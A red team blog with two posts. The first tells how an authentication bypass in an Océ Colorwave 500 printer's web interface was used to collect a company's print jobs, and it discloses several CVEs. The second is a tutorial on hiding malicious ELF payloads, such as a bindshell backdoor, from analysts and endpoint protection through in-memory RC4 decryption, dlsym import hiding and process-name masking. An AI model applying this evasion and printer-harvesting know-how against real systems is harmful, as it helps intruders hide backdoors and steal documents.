Back in September 2019, as Red Timmy Security group, we have been involved in a Red Team exercise. We had to simulate the scenario of a malicious insider plugging a Raspberry Pi device in to the network to potentially use as a C&C, and to check how much time the guys monitoring the environment would have spent to detect it. Furthermore, the place where to hide our device had to be tricky enough to spot, with the aim to pour a pinch of extra pepper on the challenge against the blue team.
Consequently, we did not want simply to drop the device at the first location available, raising suspicions on other employees who were unaware of our real role and increasing the risk to be caught. Therefore the initial couple of days following the job engagement we behaved normally: we have been assigned a company laptop, a badge and completed all the on-boarding tasks, which are typical of when somebody is hired for real. Oh well, almost. The second day, after opening the browser of our new shining company laptop, we mistakenly typed in the number “1” in the URL bar, and discovered that some IP addresses were already visited in the chronology.
We selected the first URL in the list (a local IP address) and visited that. It was the web interface of the Océ Colorwave 500 printer, a big boy weighting more than 250 kilograms (see picture below).
Why should not we give a quick look at it? I guess you know how it went. We did a mini assessment of the printer that lasted a couple of hours. That was enough to discover five different flaws. However, for the matter of this story, only one was relevant. We provide the details of the rest at the end of this post.
Basically we discovered that the Oce Colorwave 500 printer was vulnerable to an authentication bypass bug on the page “http://<printer-IP>/home.jsp”. When that page is browsed by an anonymous (unauthenticated) user clicking on the “View All” button with the intention to visualize the current job queue, the application returns a login panel asking for administrative credentials.
However it was sufficient to append the parameter “openSI=[SI]” to the “home.jsp” page (with “[SI]” being the name of a network user) to view the printer inbox of that user and all the relative print jobs, so completely skipping the authentication process.
Currently the name of the network user we
wanted to spy the inbox of was nothing more than its Windows active directory username.
The convention used internally by the target company was easy enough to
understand (a combination of the user first name and surname, and of course AD was
“publicly queryable”), that was really a joke to script an automated process
collecting all the printed documents from the device’s queue for subsequent
We did not need to poll the device frequently, just once per user, as the queue of the printed jobs was configured (a default setting of the printer we guess) so to be shred only every 2 weeks. This would have given us enough time to download everything submitted to the printer by anyone in the company that had used it in the last 14 days. After finishing the task, we started to manually analyze all the documents collected. A tedious but rewarding task at the end!
We were indeed lucky enough to find the blueprints/security plants of the customer building, including the space hosting us. At the beginning everything was quite tough to read as the blueprints were full of meaningless labels and symbols. But in the middle of the set of documents exfiltrated from the printer spool was also found a legend with the description of each symbol. Something similar to this:
After taking confidence with it, we knew the exact dislocation of desks,
security cameras, conference rooms, security equipment including card readers,
local alarms / sounders, electromagnetic locks, intercoms, patch panels, network
cables, etc… in the building!
It was the turning point of our exercise. The place we found for our Raspberry Pi device and what happened later is another story.
soon after the closure of the red team operation, the e-shredding functionality
has been activated and applied for all print-jobs and the device immediately isolated
from the network, put behind a firewall in a separate VLAN.
We have contacted the vendor of course and
communicated our findings. After few days the vendor has replied informing us of
the existence of a newer firmware version compared to the one running on the
printer tested by us (that was 18.104.22.168). As no CVEs have been registered for
these bugs in the past, we have decided to do that.
In total we have registered five CVE(s). All these bugs (two Reflected XSS, one Stored XSS and a systemic CSRF), including the authentication bypass already described (CVE-2020-10669), have been discovered by Giuseppe Calì with the contribute of Marco Ortisi. Below you can find the additional details for each of them.
application exposed by the Canon Oce Colorwave 500 printer (firmware version 22.214.171.124
and possibly below) is vulnerable to Stored XSS in “/TemplateManager/indexExternalLocation.jsp”. The vulnerable parameter is “map(template_name)”.
An external location is
first created by browsing the URL “http://<printer-IP>/TemplateManager/editTemplate.jsp?type=ExternalLocation”.
Here the “Name” parameter (actually the “map(template_name)”
parameter in the POST request generated after clicking the “Ok” button) is injected with the
After creating the external location template, any attempts to edit it will trigger the sample payload.
The web application exposed by the Canon Oce Colorwave 500 printer (firmware version 126.96.36.199 and possibly below) is vulnerable to Reflected XSS in “/home.jsp”. The vulnerable parameter is “openSI”. Browsing the URL:
an alert box will pop-up in the page, showing that the attacker’s payload has been executed in the context of the user’s browser session.
The web application exposed by the Oce Colorwave 500 printer (firmware version 188.8.131.52 and possibly below) is vulnerable to Reflected Cross-Site Scripting in “/SettingsEditor/settingDialogContent.jsp”. The vulnerable parameter is “settingId”. Browsing the URL:
An alert box will pop-up in the page, showing that the attacker’s payload has been executed in the context of the user’s browser session.
The web application of the Canon Oce Colorwave 500 printer (firmware version 184.108.40.206 and possibly below) is missing any form of CSRF protections. This is a system-wide issue. An attacker could perform administrative actions by targeting a logged-in administrative user.
That’all for today. As usual we remind you that we will be at Blackhat Las Vegas with our Practical Web Application Hacking Advanced Course on 1-2 August and 3-4 August 2020.
Imagine finding yourself in a “hostile” environment, one where you can’t run exploits, tools and applications without worrying about prying eyes spying on you, be they a legitimate system administrator, a colleague sharing an access with you or a software solution that scans the machine you are logged in to for malicious files. Your binary should live in encrypted form in the filesystem so that no static analysis would be possible even if identified and copied somewhere else. It should be only decrypted on the fly in memory when executed, so preventing dynamic analysis too, unless the decryption key is known.
How to implement that?
On paper everything looks fine, but practically how do we implement this? With Red Timmy Security we have created the “golden frieza” project, a collection of several techniques to support on-the-fly encryption/decryption of binaries. Even though we are not ready yet to release the full project, we are going to discuss in depth one of the methods it implements, accompanied by some supporting source code.
Why is the discussion relevant both to security analysts working at SOC departments, Threat Intelligence and Red Teams? Think about a typical Red Team operation, in which tools that commonly trigger security alerts to SOC, such as “procmon” or “mimikatz”, are uploaded in a compromised machine and then launched without having the installed endpoint protection solutions or the EDR agents complaining about that. Alternatively, think about a zero-day privilege escalation exploit that an attacker wants to run locally in a just hacked system, but they don’t want it to be reverse engineered while stored in the filesystem and consequently divulged to the rest of the world.
This is exactly the kind of techniques we are going to talk about.
A short premise before to get started. All the examples and code released (github link) work with ELF binaries. Conceptually there is nothing preventing you from implementing the same techniques with Windows PE binaries, of course with the opportune adjustments.
What to encrypt?
An ELF binary file is composed of multiple sections. We are mostly interested to encrypt the “.text” section where are located the instructions that the CPU executes when the interpreter maps the binary in memory and transfers the execution control over it. To put it simple, the section “.text” contains the logic of our application that we do not want to be reverse-engineered.
Which crypto algorithm to use?
To encrypt the “.text” section we will avoid block ciphers, which would force the binary instructions into that section to be aligned to the block size. A stream cipher algorithm fits perfectly in this case, because the length of the ciphertext produced in output will be equal to the plaintext, hence there are not padding or alignment requirements to satisfy. We choose RC4 as encryption algorithm. The discussion of its security is beyond the scope of this blog post. You might implement whatever else you like in replacement.
technique to-be implemented must be as easy as possible. We want to avoid
manual memory mappings and symbol relocations. For example, our solution could
rely on two components:
ELF file compiled as a dynamic library exporting one or more functions
containing the encrypted instructions to be protected from prying eyes;
launcher, a program that takes as an input the ELF dynamic library, decrypting
it in memory by means of a crypto key and then executing it.
What is not clear yet is what we should encrypt: the full “.text” section or just the malicious functions exported in the ELF module? Let’s try to put in practice an experiment. The following source code exports a function called “testalo()” taking no parameter. After compilation we want it to be decrypted only once it is loaded in memory.
Now let’s have a look at its sections with “readelf”:
The “.text” section in the present case starts at file offset 0x580 (1408 bytes from the beginning of testalo_mod.so) and its size is 0x100 (256 bytes). What if we fill up this space with zeros and then try to programmatically load the library? Will it be mapped in our process memory or the interpreter will have something to complain about? As the encryption procedure creates garbage binary instructions, filling up the “.text” section of our module with zeros actually simulates that without trying your hand at encrypting the binary. We can do that by executing the command:
To spot the final behavior that we are attemping to observe, we need an application (see code snippet of “dlopen_test.c” below) that tries to map the “testalo_mod.so” module into its address space (line 12) and then, in case of success, checks if at runtime the function “testalo()” gets resolved (line 18) and executed (line 23).
What we are observing here is that during the execution of line 12 the program crashes. Why? This happens because, even if the call to “dlopen()” in our application is not explicitly invoking anything from “testalo_mod.so”, there are functions into “testalo_mod.so” itself that are instead automatically called (such as “frame_dummy()”) during the module initialization process. A “gdb” session will help here.
$ objdump -M intel -d testalo_mod.so
such functions are all zeroed, this produces a segmentation fault when the
execution flow is transferred over those.
What if we only encrypted the content of the “testalo()” function on which our logic resides? To do that we just recompile “testalo_mod.so” and determine the size of the function’s code with the command “objdump -M intel -d testalo_mod.so“, by observing where the function starts and where it ends :
to calculate our value is 0x680 – 0x65a
= 0x26 = 38 bytes.
Finally we overwrite the library “testalo_mod.so” with 38 bytes of zeros, starting from where the “testalo()” function locates, which this time is offset 0x65a = 1626 bytes from the beginning of the file:
It seems nothing has changed. But a closer look will reveal the segfault has occurred for another reason this time:
we have got stuck at line 12 in “dlopen_test.c”, during the initialization of the
“testalo_mod.so” dynamic library. Now instead we get stuck at
line 23, when “testalo_mod.so” has been properly mapped in our
process memory, the “testalo()” symbol has been already resolved
from it (line 18) and the function is finally invoked (line 23), which in turn causes
the crash. Of course, the binary instructions are invalid because before we have
zeroed that block of memory. However if we really had put encrypted instructions
there and decrypted all before the invocation of “testalo()“,
everything would have worked smoothly.
So, we know now what to encrypt and how to encrypt it: only the exported functions holding our malicious payload or application logic, not the whole text section.
Next step: a first prototype for the project
Let’s see a
practical example of how to decrypt in memory our encrypted payload. We said at
the beginning that two components are needed in our implementation:
(a) an ELF file compiled as a dynamic library exporting one or more functions containing the encrypted instructions to be protected from prying eyes;
(b) the launcher, a program that takes as an input the ELF dynamic library, decrypting it in memory by means of a crypto key and then executing it.
Regarding the point (a) we will continue to utilize “testalo_mod.so” for now by encrypting the “testalo()” function’s content only. Instead of using a specific program for that, just take profit of existing tools such as “dd” and “openssl”:
The first command basically extracts 38 bytes composing the binary instructions of “testalo()”. The second command encrypt these with the RC4 key “AAAAAAAAAAAAAAAA” (hex representation -> “41414141414141414141414141414141”) and the third command write back the encrypted content to the place where “testalo()” is located into the binary. If we observe the code of that function now with the command “objdump -M intel -d ./testalo_mod.so“, it will be unintelligible indeed:
The second needed component is the launcher (b). Let’s analyze its C code piece by piece. First it acquires in hexadecimal format the offset where our encrypted function is mapped (information that we retrieve with “readelf”) and its length in byte (line 102). Then the terminal echo is disabled (lines 116-125) in order to permit the user to type in safely the crypto key (line 128) and finally the terminal is restored back to the original state (lines 131-135).
Now we have the offset where our encrypted function is in memory but we do not know yet the full memory address where it is mapped. This is determined by looking at “/proc/PID/maps” as in the code snippet down.
Then all the pieces are settled to extract from the memory the encrypted binary instructions (line 199), decrypt everything with the RC4 key collected previously and write the output back to the location where “testalo()” function’s content lives (line 213). However, we could not do that without before marking that page of memory to be writable (lines 206-210) and then back again readable/executable only (lines 218-222) after the decrypted payload is written into it. This is because in order to protect the executable code against tampering at runtime, the interpreter loads it into a not writable memory region. After usage, the crypto key is also wiped out from memory (line 214).
Now the address of the decrypted “testalo()” function can be resolved (line 228) and the binary instructions it contains be executed (line 234).
This first version of the launcher’s source code is downloadable from here. Let’s compile it…
…execute it, and see how it works (in bold the user input):
$ ./golden_frieza_launcher_v1 ./testalo_mod.so
Enter offset and len in hex (0xXX): 0x65a 0x26
Offset is 1626 bytes
Len is 38 bytes
Enter key: <-- key is inserted here but not echoed back
PID is: 28527
Module name is: testalo_mod.so
7feb51c56000-7feb51c57000 r-xp 00000000 fd:01 7602195 /tmp/testalo_mod.so
Start address is: 0x7feb51c56000
End address is 0x7feb51c57000
As shown at the end of the command output, the in-memory decrypted content of the “testalo()” function is indeed successfully executed.
What is the problem with this approach? It is that even though our library would be stripped, the symbols of the functions invoked by “testalo()” (such as “puts()” and “exit()”) that need to be resolved and relocated at runtime, remain well visible. In case the binary finishes in the hands of a system administrator or SOC analyst, even with the “.text” section encrypted in the filesystem, through simple static analysis tools such as “objdump” and “readelf” they could inference what is the purpose of our malicious binary.
Let’s see it with a more concrete example. Instead of using a dummy library, we decide to implement a bindshell (see the code here) and compile that code as an ELF module:
We strip the binary with the “strip” command and encrypt the relevant “.text” portion as already explained before. If now we look at symbols table (“readelf –s testalo_bindshell.so”) or relocations table (“readelf –r testalo_bindshell.so”) something very similar to the picture below appears:
This clearly reveals the usage of API such as “bind()”, “listen()”, “accept()”, “execl()”, etc… which are all functions that typically a bindshell implementation imports. This is inconvenient in our case because reveals the nature of our code. We need to get a workaround.
dlopen and dlsyms
To get around the problem, the approach we adopt is to resolve external symbols at runtime through “dlopen()” and “dlsyms()”.
For example, normally a snippet of code involving a call to “socket()” would look like this:
When the binary is compiled and linked, the piece of code above is responsible for the creation of an entry about “socket()” in the dynamic symbols and relocations tables. As already said, we want to avoid such a condition. Therefore the piece of code above must be changed as follows:
Here “dlopen()” is invoked only once and “dlsyms()” is called for any external
functions that must be resolved. In practice:
“int (*_socket)(int, int, int);” -> we define a function pointer variable having the same prototype as the original “socket()” function.
“handle = dlopen (NULL, RTLD_LAZY);” -> “if
the first parameter is NULL the returned handle is for the main program”,
as stated in the linux man page.
“_socket = dlsym(handle, "socket");” -> the variable “_socket” will contain the address of the “socket()”
function resolved at runtime with “dlsym()”.
“(*_socket)(PF_INET, SOCK_STREAM, 0)” -> we use it as an equivalent form of “socket(PF_INET, SOCK_STREAM, 0)”. Basically the value pointed to by the variable “_socket” is the address of the “socket()” function that has been resolved with “dlsym()”.
These modifications must be repeated for all the external functions “bind()”, “listen()”, “accept()”, “execl()”, etc…
…the main effects tied to the change of coding style are the following:
In practice the only external symbols that remain visible now are “dlopen()” and “dlsyms()”. No usage of any other socket API or functions can be inferenced.
Is this enough?
This approach has some issues too. To understand that, let’s have a look at the read-only data section in the ELF dynamic library:
What’s going on? In practice, all the strings we have declared in our bindshell module are finished in clear-text inside the “.rodata” section (starting at offset 0xaf5 and ending at offset 0xbb5) which contains all the constant values declared in the C program! Why is this happening? It depends on the way how we pass string parameters to the external functions:
_socket = dlsym(handle, "socket");
What we can do to get
around the issue is to encrypt the “.rodata” section as well, and decrypt it on-the-fly
in memory when needed, as we have already done with the binary instructions in
the “.text” section. The new version of the launcher component (golden_frieza_launcher_v2) can be downloaded here and compiled with “gcc
golden_frieza_launcher_v2.c -o golden_frieza_launcher_v2 -ldl”. Let’s see how it works. First the
“.text” section of our bindshell module is encrypted:
The “.text” section offset and length is passed as hex values (we have already seen how to get those):
Enter .text offset and len in hex (0xXX): 0x6ca 0x41f Offset is 1738 bytes Len is 1055 bytes
Next the “.rodata” section offset and length is passed too as hex values. As seen in the last “readelf” screenshot above, in this case the section starts at 0xaf5 and the len is calculated like this: 0xbb5 – 0xaf5 + 1 = 0xc1:
Enter .rodata offset and len in hex (0xXX): 0xaf5 0xc1 .rodata offset is 2805 bytes .rodata len is 193 bytes
Then the launcher asks for a command line parameter. Indeed our bindshell module (specifically the exported “testalo()” function) takes as an input parameter the TCP port it has to listen to. We choose 9000 for this example:
Enter cmdline: 9000 Cmdline is: 9000
The encryption key (“AAAAAAAAAAAAAAAA”)
is now inserted without being echoed back:
The final part of the output is:
PID is: 3915 Module name is: testalo_bindshell_mod.so 7f5d0942f000-7f5d09430000 r-xp 00000000 fd:01 7602214 /tmp/testalo_bindshell_mod.so Start address is: 0x7f5d0942f000 End address is 0x7f5d09430000
Execution of .text ==================
This time below the “Execution of .text” message we get
nothing. This is due to the behavior of our bindshell that does not print
anything to the standard output. However, the bindshell backdoor has been
launched properly in the background:
Unfortunately the system owner could identify the process as malicious on first glance! This is not normally an issue in case our code runs for a narrowed amount of time. But what in case we want to plant a backdoor or C&C agent for a longer period of time? In that case it would be convenient to mask the process somehow. It is exactly what the piece of code below (implemented in complete form here) does.
compile the new version of the launcher binary:
$ ps -wuax | grep init user 19087 0.0 0.0 8648 112 pts/5 S 19:56 0:00 [initd]
Well you now know should never trust the ps output! 🙂
What if somebody
discovers the launcher binary and the encrypted ELF dynamic library in the
filesystem? The encryption key is not known hence nobody could decrypt and
execute our payload.
What if the offset and length of encrypted sections are entered incorrectly? This will lead most of the cases to a segfault or illegal instruction and the consequent crash of the launcher component. Again, the code does not leak out.
Can this be done on Windows machine? Well, if you think about “LoadLibrary()”, “LoadModule()” and “GetProcAddress()”, these functions API do the same as “dlopen()” and “dlsyms()”.